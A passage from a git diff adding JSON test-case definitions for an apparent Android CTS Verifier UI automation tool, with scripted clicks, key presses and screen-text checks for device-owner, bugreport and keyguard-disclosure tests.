admin\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":44.25,\"y1\":355.5,\"x2\":315.75,\"y2\":392.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"If you have questions, contact your IT admin\"}],\"className\":\"android.widget.ScrollView\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":44.25,\"y1\":355.5,\"x2\":315.75,\"y2\":392.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"If you have questions, contact your IT admin\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":23.25,\"y1\":275.0,\"x2\":336.75,\"y2\":413.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Action not allowed\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.settings:id/custom\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":23.25,\"y1\":275.0,\"x2\":336.75,\"y2\":413.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":160.5,\"y\":371.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":19.5,\"y\":-27.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"7fbf424c-2da3-4d73-9943-1e9ceb031641\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"If you have questions, contact your IT admin\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":39.0,\"y1\":351.0,\"x2\":282.0,\"y2\":392.0}}],\"childrenIdList\":[\"94b994cc-7693-4e62-97bf-9f665defe78d\",\"20e4a0e7-1855-4583-978e-bfa7ab4bfb88\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Check the restriction message(default)","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.092000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bd22d00c-3bff-4749-8763-3323c17809bb b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bd22d00c-3bff-4749-8763-3323c17809bb
new file mode 100644
index 0000000..1016d0c
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bd22d00c-3bff-4749-8763-3323c17809bb
@@ -0,0 +1 @@
+{"uuid":"bd22d00c-3bff-4749-8763-3323c17809bb","details":"{\"type\":\"CompoundAction\",\"name\":\"01-Check device owner\",\"actionId\":\"bd22d00c-3bff-4749-8763-3323c17809bb\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Device Owner Requesting Bugreport Tests\",\"actionId\":\"dbf0addd-4733-491b-9b38-5b989f160787\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Device Owner Requesting Bugreport Tests\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"52b034ca-28ce-4a48-be67-8671e24e5957\",\"displayText\":\"Device Owner Requesting Bugreport Tests\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Device Owner Requesting Bugreport Tests\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":472.5,\"x2\":351.25,\"y2\":514.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":153.5,\"y\":496.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":26.5,\"y\":-2.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"52b034ca-28ce-4a48-be67-8671e24e5957\",\"firstText\":\"Device Owner Requesting Bugreport Tests\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Device Owner Requesting Bugreport Tests\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":2.0,\"y1\":476.0,\"x2\":305.0,\"y2\":516.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Device Owner Requesting Bugreport Tests\",\"actionId\":\"d0da9ad2-a0ab-474f-9002-b6a84d17de99\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Device Owner Requesting Bugreport Tests\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Check device owner\",\"actionId\":\"778d8f21-4564-4786-9887-3ff1d93f9592\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Check device owner\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"dbf0addd-4733-491b-9b38-5b989f160787\",\"d0da9ad2-a0ab-474f-9002-b6a84d17de99\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"5595e3fe-1f8d-453a-a103-8d15ac2ec05d\",\"150ccde5-c230-418d-a286-b413af7f297b\",\"778d8f21-4564-4786-9887-3ff1d93f9592\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_DeviceOwner_apk_path=$HOME/Documents/rvc_release/android-cts-verifier/CtsEmptyDeviceOwner.apk,\"}}","name":"01-Check device owner","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.068000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bdac4f2a-64a2-460c-a210-399cd652cfa8 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bdac4f2a-64a2-460c-a210-399cd652cfa8
new file mode 100644
index 0000000..9016e6d
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bdac4f2a-64a2-460c-a210-399cd652cfa8
@@ -0,0 +1 @@
+{"uuid":"bdac4f2a-64a2-460c-a210-399cd652cfa8","details":"{\"type\":\"CompoundAction\",\"name\":\"06-Remove device owner\",\"actionId\":\"bdac4f2a-64a2-460c-a210-399cd652cfa8\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Remove device owner\",\"actionId\":\"72c8c604-9718-4de2-ba0d-e022242afd4a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Remove device owner\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Remove device owner\",\"actionId\":\"414ef652-7275-46d0-bd13-5e676b425ead\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Remove device owner\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY screen back to main screen of Bugreport\",\"actionId\":\"53d7d663-1773-4d07-b43f-8e312bc49b9f\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Set up device owner\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"Click pass button if all tests passed\",\"actionId\":\"867efea8-7d6f-4e9f-8d83-8016fc0eb82f\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.cts.verifier:id/pass_button\"},{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"true\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"4f3ec13b-589a-4ca3-b456-7224028d0604\",\"72c8c604-9718-4de2-ba0d-e022242afd4a\",\"414ef652-7275-46d0-bd13-5e676b425ead\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\",\"53d7d663-1773-4d07-b43f-8e312bc49b9f\",\"867efea8-7d6f-4e9f-8d83-8016fc0eb82f\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"06-Remove device owner","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.078000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/be00d800-5235-410e-a535-55a76d9200b9 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/be00d800-5235-410e-a535-55a76d9200b9
new file mode 100644
index 0000000..6d55c54
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/be00d800-5235-410e-a535-55a76d9200b9
@@ -0,0 +1 @@
+{"uuid":"be00d800-5235-410e-a535-55a76d9200b9","details":"{\"type\":\"CompoundAction\",\"name\":\"Click \\\"Open settings\\\" button\",\"actionId\":\"be00d800-5235-410e-a535-55a76d9200b9\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, id/open_settings_button\",\"actionId\":\"8484c46a-840d-49c8-b0e8-c0bf989c0a2c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/open_settings_button\"}],\"childrenIdList\":[\"8484c46a-840d-49c8-b0e8-c0bf989c0a2c\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click \"Open settings\" button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.120000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bfcd3a5c-3fa3-4976-9b6e-aea47e073512 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bfcd3a5c-3fa3-4976-9b6e-aea47e073512
new file mode 100644
index 0000000..42ff5c4
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/bfcd3a5c-3fa3-4976-9b6e-aea47e073512
@@ -0,0 +1 @@
+{"uuid":"bfcd3a5c-3fa3-4976-9b6e-aea47e073512","details":"{\"type\":\"CompoundAction\",\"name\":\"16-16-Keyguard disclosure\",\"actionId\":\"bfcd3a5c-3fa3-4976-9b6e-aea47e073512\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Keyguard disclosure\",\"actionId\":\"e65a665d-d16d-4c2e-bf72-f74f646a012f\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Keyguard disclosure\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"a0b90385-e088-4eb5-b5f6-626636bd563f\",\"displayText\":\"Keyguard disclosure\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Keyguard disclosure\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":609.0,\"x2\":351.3333333333333,\"y2\":651.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":81.5,\"y\":631.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":98.5,\"y\":-1.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"a0b90385-e088-4eb5-b5f6-626636bd563f\",\"firstText\":\"Keyguard disclosure\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Keyguard disclosure\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":17.0,\"y1\":617.0,\"x2\":146.0,\"y2\":645.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Keyguard disclosure\",\"actionId\":\"b36c6d9b-089a-4bea-9a1b-9c4b314742ec\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Keyguard disclosure\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"241877f5-1b6e-4a0b-987c-cc4b5bb380da\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"1718a081-392f-4b0c-ac27-fe779618bf14\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"bec5a405-a5c3-496e-b9e9-b51279ef9cf4\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"497dd745-c6ed-4dff-8c37-0b293b5dc7bc\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"232ccd6e-1202-4e90-941b-7c3697eb5e55\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"b4e62ae2-e6f5-44e5-967c-39e7dc6be368\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"9af94c95-37ae-4b2a-a772-71250cc15c35\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"b40c8465-84f8-48f0-8699-609cb02ea88c\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"0d18bdb6-2e79-4b64-886a-4b28f685637d\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"e54e4d37-f069-4f57-8f31-c2955799376b\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"91e27c95-3b0f-47c0-98fe-76d10c286fb9\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"ff8c0104-4aea-4e73-9cdf-8a3e4723d45f\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"c959fcb9-1a71-426a-b50b-7b1f0815f044\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"23e799da-1a48-4e17-9e3d-bff5e87528e8\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"53eeae00-858b-4eb4-a41e-eeed8c1a86a7\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"5f2b7831-99b4-4446-a32f-5963862e4b0e\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"ff3f6c04-e849-4f36-929e-2ee97e603236\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"584884d5-5dbb-4aa4-ab88-a2330dab7a1e\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"430fe8b8-0176-46d5-bf76-28d68ba3999c\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"3c5f469b-8e0c-4db6-ac2b-97e725f0ec8f\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"b4a6ba4e-a989-4446-bcde-644e6a15606d\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"aa8be087-d313-4428-904b-78a621818074\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"c0dacf95-341d-4e66-a298-2623c8fcee98\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"6f97605e-2c60-4243-9d2a-4496f55a26ba\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"16b93f18-3250-4660-900a-7e5aee87c64f\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"f1e39972-3203-47f8-85fb-66902ae03179\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"03e19599-15d9-4cff-acc4-88b977853f25\",\"e65a665d-d16d-4c2e-bf72-f74f646a012f\",\"b36c6d9b-089a-4bea-9a1b-9c4b314742ec\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"1e49e89c-6a23-487a-86d9-a2244d725017\",\"241877f5-1b6e-4a0b-987c-cc4b5bb380da\",\"1718a081-392f-4b0c-ac27-fe779618bf14\",\"3aefa26b-3d3e-4320-b4b0-9569556fd846\",\"bec5a405-a5c3-496e-b9e9-b51279ef9cf4\",\"497dd745-c6ed-4dff-8c37-0b293b5dc7bc\",\"764101e3-1eaa-47e8-854f-68434c4c994c\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"91ab1016-e46b-4681-802a-30de34592081\",\"232ccd6e-1202-4e90-941b-7c3697eb5e55\",\"b4e62ae2-e6f5-44e5-967c-39e7dc6be368\",\"1fe89bff-e8fd-40da-a6b7-e91443c69389\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"cf6c2d6d-a4fe-4981-af4b-f561291f847b\",\"9af94c95-37ae-4b2a-a772-71250cc15c35\",\"b40c8465-84f8-48f0-8699-609cb02ea88c\",\"3aefa26b-3d3e-4320-b4b0-9569556fd846\",\"0d18bdb6-2e79-4b64-886a-4b28f685637d\",\"e54e4d37-f069-4f57-8f31-c2955799376b\",\"764101e3-1eaa-47e8-854f-68434c4c994c\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"3efd7d24-773f-4254-9432-207fa91ad20f\",\"91ab1016-e46b-4681-802a-30de34592081\",\"91e27c95-3b0f-47c0-98fe-76d10c286fb9\",\"ff8c0104-4aea-4e73-9cdf-8a3e4723d45f\",\"1fe89bff-e8fd-40da-a6b7-e91443c69389\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"3efd7d24-773f-4254-9432-207fa91ad20f\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"49bfb869-2ef5-4df6-8fff-3192112b82a2\",\"c959fcb9-1a71-426a-b50b-7b1f0815f044\",\"23e799da-1a48-4e17-9e3d-bff5e87528e8\",\"3aefa26b-3d3e-4320-b4b0-9569556fd846\",\"53eeae00-858b-4eb4-a41e-eeed8c1a86a7\",\"5f2b7831-99b4-4446-a32f-5963862e4b0e\",\"764101e3-1eaa-47e8-854f-68434c4c994c\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"bb6f039b-70ef-41a6-9880-20e383ba74d5\",\"91ab1016-e46b-4681-802a-30de34592081\",\"ff3f6c04-e849-4f36-929e-2ee97e603236\",\"584884d5-5dbb-4aa4-ab88-a2330dab7a1e\",\"1fe89bff-e8fd-40da-a6b7-e91443c69389\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"bb6f039b-70ef-41a6-9880-20e383ba74d5\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"e1d66f34-6024-4d89-b511-399897ba2464\",\"430fe8b8-0176-46d5-bf76-28d68ba3999c\",\"3c5f469b-8e0c-4db6-ac2b-97e725f0ec8f\",\"3aefa26b-3d3e-4320-b4b0-9569556fd846\",\"b4a6ba4e-a989-4446-bcde-644e6a15606d\",\"aa8be087-d313-4428-904b-78a621818074\",\"764101e3-1eaa-47e8-854f-68434c4c994c\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"bb6f039b-70ef-41a6-9880-20e383ba74d5\",\"91ab1016-e46b-4681-802a-30de34592081\",\"c0dacf95-341d-4e66-a298-2623c8fcee98\",\"6f97605e-2c60-4243-9d2a-4496f55a26ba\",\"1fe89bff-e8fd-40da-a6b7-e91443c69389\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"bb6f039b-70ef-41a6-9880-20e383ba74d5\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"72f62d5f-9a3a-4c4d-813c-96614b1c5845\",\"16b93f18-3250-4660-900a-7e5aee87c64f\",\"f1e39972-3203-47f8-85fb-66902ae03179\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"16-16-Keyguard disclosure","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.192000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c053d68c-aa89-494f-9a6d-a24f4eba7de4 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c053d68c-aa89-494f-9a6d-a24f4eba7de4
new file mode 100644
index 0000000..db7b595
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c053d68c-aa89-494f-9a6d-a24f4eba7de4
@@ -0,0 +1 @@
+{"uuid":"c053d68c-aa89-494f-9a6d-a24f4eba7de4","details":"{\"type\":\"CompoundAction\",\"name\":\"02-Quick settings disclosure\",\"actionId\":\"c053d68c-aa89-494f-9a6d-a24f4eba7de4\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Quick settings disclosure\",\"actionId\":\"2696cccb-f4b1-4b1f-b5ef-fe93f2345a11\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Quick settings disclosure\"},{\"type\":\"InputAction\",\"name\":\"Back 